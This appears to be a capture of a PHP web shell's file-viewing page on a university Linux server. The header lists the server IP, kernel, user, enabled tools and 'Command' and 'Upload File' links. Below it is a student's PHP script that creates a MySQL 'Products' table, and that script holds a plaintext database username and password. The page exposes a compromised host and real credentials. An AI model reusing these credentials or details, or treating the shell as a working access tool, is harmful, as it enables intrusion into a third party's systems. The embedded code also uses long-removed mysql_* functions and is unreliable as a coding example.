Server IP : 172.16.15.8 / Your IP : 3.145.10.80 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jwmccreary/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- pg. 169 Create a table with PHP --> <TITLE> Create Table </TITLE> <BODY> <FONT size=4 color=blue> <?php $server = 'localhost'; $user = 'jwmccreary'; $pass = 'cs480'; $mydb = 'jwmccreary'; $table_name = 'Products'; $connect = mysql_connect($server, $user, $pass); if( !$connect ) { die( "Can't connect tp $server using $user"); } else { $SQLcmd = "CREATE TABLE $table_name ( ProductID INT unsigned auto_increment primary key, Product_desc VARCHAR(50), Cost INT, Weight INT, Numb INT)"; MYSQL_select_db($mydb); if( mysql_query ( $SQLcmd, $connect) ) { print 'Create Table success!'; print '<br>SQLcmd = $SQLcmd'; } else { die("Table creation failed"); } MySQL_CLOSE($connect); } ?> </BODY>